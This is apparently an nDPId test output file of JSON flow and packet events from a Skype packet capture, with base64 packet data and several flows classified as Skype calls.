+00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1204,"source":"skype.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.176","src_port":50077,"dst_port":40022,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":204,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1204,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":481458,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAVDVAAEAGBNHAqAEinTeCsMOdnFaE5icqAAAAALAC\/\/\/EvgAAAgQFtAEDAwUBAQgKPiNGZAAAAAAEAgAA"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1205,"source":"skype.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00447{"flow_id":205,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1205,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":481619,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"0NQSxnP1PBXCt3IOCABFAABBoHIAAEARwNrAqAEiQAQXkTLdnFgALcyQnJYCZ5BZSWZ\/iXC28\/gJa4xy6SADRNB7IBe6OkY8K1Ib90nh6Q=="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1205,"source":"skype.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.145","src_port":13021,"dst_port":40024,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1206,"source":"skype.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":206,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1206,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":481620,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"0NQSxnP1PBXCt3IOCABFAAA2TSkAAEARlefAqAEinTc4pTLdnFQAIg\/nnJgCnGl25qOBTIS5Gpv0M8FAGs9\/YbWac7o="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1206,"source":"skype.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1431969690481,"flow_last_seen":0,"flow_tot_l4_data_len":34,"flow_min_l4_data_len":34,"flow_max_l4_data_len":34,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.165","src_port":13021,"dst_port":40020,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00438{"flow_id":200,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1207,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":558595,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8ELJAAEAG32vAqAEinTfrnMOcnE7UANd2M6a2f4AYECk34AAAAQEICj4jRrFMWRmSrtaWXBVsqR0="} +00437{"flow_id":204,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1208,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":604504,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYgqdN4KwwKgBIpxWw53yBAwphOYnK6ASOJA8uAAAAgQFrAQCCApOpRObPiNGZAEDAwk="} +00425{"flow_id":204,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1209,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":604609,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0+KpAAEAGYGfAqAEinTeCsMOdnFaE5icr8gQMKoAQECyTZwAAAQEICj4jRt9OpROb"} +00527{"flow_id":204,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1210,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":605152,"pkt_caplen":136,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":136,"pkt_l4_len":102,"pkt":"0NQSxnP1PBXCt3IOCABFAAB6Gp5AAEAGPi7AqAEinTeCsMOdnFaE5icr8gQMKoAYECz6XgAAAQEICj4jRt9OpRObqiJE\/ujFyMl3e1PSS53Me2\/+X7AvI9mQFi7CN4NQeMStFLqnIe0YlJ6soUrEHiLaQkuA8W6HjI1ag1jpBj\/kBXK7MOGe9w=="} +00425{"flow_id":204,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1211,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":728320,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0H5BAADcGQoKdN4KwwKgBIpxWw53yBAwqhOYncYAQAB2jEQAAAQEICk6lE7o+I0bf"} +00522{"flow_id":204,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1212,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":733782,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"PBXCt3IO0NQSxnP1CABFAAB4H5FAADcGQj2dN4KwwKgBIpxWw53yBAwqhOYncYAYAB1QtgAAAQEICk6lE7s+I0bfL6AqGnQx6yZP6VrKZH40YtSXTeBqjm4Hz2ILgCpmXDC7bpb2JNtPaL0snaqaL6XXLkdMTRpDGKnG\/6TFMnvwoV63\/D0="} +00425{"flow_id":204,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1213,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":733892,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA006tAAEAGhWbAqAEinTeCsMOdnFaE5idx8gQMboAQECmSQAAAAQEICj4jR19OpRO7"} +00437{"flow_id":204,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1214,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":734453,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Jq1AAEAGMl3AqAEinTeCsMOdnFaE5idx8gQMboAYECn0JQAAAQEICj4jR19OpRO7eWBA9+mp+gg="} +00498{"flow_id":183,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1215,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":746972,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"0NQSxnP1PBXCt3IOCABFAABl1MpAAEAGhBzAqAEinTeCqsOYAbvnclDsz\/tu9oAYECxh3QAAAQEICj4jR2tOqgnRdB6rqSY5gTFTXdFTg9Bm\/CX0YSch8t1o2530L+EgrBJRuOnQwGMPQHcj8K4bAGf3WA=="} +00440{"flow_id":161,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1216,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":823165,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8vJxAAEAGnBHAqAEiQTffDMORnF\/vfD9kP0r\/xIAYECl6tgAAAQEICj4jR7dNoe23pd7yTaWfPN4="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1217,"source":"skype.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1431969691076,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.173","src_port":50078,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":207,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1217,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":76049,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAIjRAAEAGNtXAqAEinTeCrcOeAbsMd47qAAAAALAC\/\/9tvAAAAgQFtAEDAwUBAQgKPiNIswAAAAAEAgAA"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1218,"source":"skype.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1431969691076,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.142","src_port":50079,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":208,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1218,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":76248,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAl7lAAEAGV97AqAEi1cezjsOfAbt1SdybAAAAALAC\/\/9NxgAAAgQFtAEDAwUBAQgKPiNIswAAAAAEAgAA"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1219,"source":"skype.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1431969691076,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.156","src_port":50080,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":209,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1219,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":76385,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAWD1AAEAGl9zAqAEinTfrnMOgAbv31LXOAAAAALAC\/\/\/yiAAAAgQFtAEDAwUBAQgKPiNIswAAAAAEAgAA"} +00437{"flow_id":198,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1220,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":78471,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uTlAAEAGn9PAqAEinTeCrcOanEPZ9QBBKvQZMIAYECpZ7gAAAQEICj4jSLVOp72xFzP0mFIZu5U="} +00438{"flow_id":208,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1221,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":145460,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcG+JvVx7OOwKgBIgG7w58e2AO\/dUncnKASOJDyJAAAAgQFrAQCCApQDMFlPiNIswEDAwk="} +00425{"flow_id":208,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1222,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":145537,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0teBAAEAGOcPAqAEi1cezjsOfAbt1SdycHtgDwIAQECxJCwAAAQEICj4jSPdQDMFl"} +00526{"flow_id":208,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1223,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":145635,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8oixAAEAGTS\/AqAEi1cezjsOfAbt1SdycHtgDwIAYECzzGQAAAQEICj4jSPdQDMFlgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIDq02i5lo\/01QILQLEuR0xN"} +00437{"flow_id":209,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1224,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":148042,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+h2dN+ucwKgBIgG7w6ATTYBZ99S1z6ASOJDP3gAAAgQFrAQCCApMWRsSPiNIswEDAwk="} +00425{"flow_id":209,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1225,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":148119,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0bg9AAEAGghbAqAEinTfrnMOgAbv31LXPE02AWoAQECwmwwAAAQEICj4jSPlMWRsS"} +00525{"flow_id":209,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1226,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":148216,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8DG1AAEAG43DAqAEinTfrnMOgAbv31LXPE02AWoAYECxQUQAAAQEICj4jSPlMWRsSgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIAaQxipxv+kxTJ78KFet\/w9"} +00439{"flow_id":199,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1227,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":156868,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8DIJAAEAG4xnAqAEi1cezjsObnEM6Aj4iHrKtfIAYECoo8AAAAQEICj4jSQFQDL\/hxH9LQ46+GKw="} +00437{"flow_id":207,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1228,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":204568,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYg2dN4KtwKgBIgG7w56D64icDHeO66ASOJAr0QAAAgQFrAQCCApOp78jPiNIswEDAwk="} +00425{"flow_id":207,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1229,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":204696,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0APxAAEAGWBnAqAEinTeCrcOeAbsMd47rg+uInYAQECyCfgAAAQEICj4jSTBOp78j"} +00524{"flow_id":207,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1230,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":204814,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB8oa9AAEAGtx3AqAEinTeCrcOeAbsMd47rg+uInYAYECwsjAAAAQEICj4jSTBOp78jgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBKs8iZ9m9UtWLroJGOJ6wt"} +00425{"flow_id":208,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1231,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":212368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0wrZAADcGNe3Vx7OOwKgBIgG7w58e2APAdUnc5IAQAB1YwAAAAQEIClAMwXc+I0j3"} +00461{"flow_id":208,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1232,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":212481,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"0NQSxnP1PBXCt3IOCABFAABOrURAAEAGQkXAqAEi1cezjsOfAbt1SdzkHtgDwIAYECwMfAAAAQEICj4jSTdQDMF3EmQmnx6sH6BO82garWUNa027XrMWTbG33jE="} +00425{"flow_id":209,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1233,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":220922,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0m3lAADYGXqydN+ucwKgBIgG7w6ATTYBa99S2F4AQAB02eQAAAQEICkxZGyM+I0j5"} +00504{"flow_id":209,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1234,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":221022,"pkt_caplen":121,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":121,"pkt_l4_len":87,"pkt":"0NQSxnP1PBXCt3IOCABFAABrs3NAAEAGPHvAqAEinTfrnMOgAbv31LYXE02AWoAYECx0qwAAAQEICj4jST9MWRsjTOTU6C9pwmn1THUzY5b6U80doM\/+81I3Di34csN6MEKT2gWCOGQ+NQDycBffWk+LeTwGvX3Zbg=="} +00437{"flow_id":204,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1235,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":248358,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8LXRAAEAGK5bAqAEinTeCsMOdnFaE5idx8gQMboAYECnyKgAAAQEICj4jSVpOpRO7eWBA9+mp+gg="} +00425{"flow_id":207,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1237,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":334332,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0N95AADcGKjedN4KtwKgBIgG7w56D64idDHePM4AQAB2SJAAAAQEICk6nv0Q+I0kw"} +00470{"flow_id":207,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1238,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":334402,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"0NQSxnP1PBXCt3IOCABFAABUFOBAAEAGRBXAqAEinTeCrcOeAbsMd48zg+uInYAYECyQlQAAAQEICj4jSbBOp79EOIZhDgpM596b5urYTkyt6EokOB\/jfhHHccIbekKWmsc="} +00438{"flow_id":200,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1239,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":484611,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8b19AAEAGgL7AqAEinTfrnMOcnE7UANd2M6a2f4AYECk0SwAAAQEICj4jSkZMWRmSrtaWXBVsqR0="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1240,"source":"skype.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00425{"flow_id":210,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1240,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":496472,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA03rMAAEARUOLAqAEi1cezkTLdnFsAIONWnJoCpMZAnYkDnzYrDpEHe3Wyl3Fm6DsP"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1240,"source":"skype.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.145","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1241,"source":"skype.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.160","src_port":13021,"dst_port":40027,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":211,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1241,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969691,"pkt_ts_usec":496473,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"0NQSxnP1PBXCt3IOCABFAAA38a4AAEARPmXAqAEinTfroDLdnFsAI2YonJwCbYbrE4NbR6JS44ONijeTgTVa37UWYcSt"} +00518{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1241,"source":"skype.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.160","src_port":13021,"dst_port":40027,"l4_proto":"udp","ndpi": {"proto":"Skype.SkypeCall","breed":"Acceptable","category":"VoIP"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1242,"source":"skype.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":1,"flow_first_seen":1431969691496,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.155","src_port":13021,"dst_port":40003,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 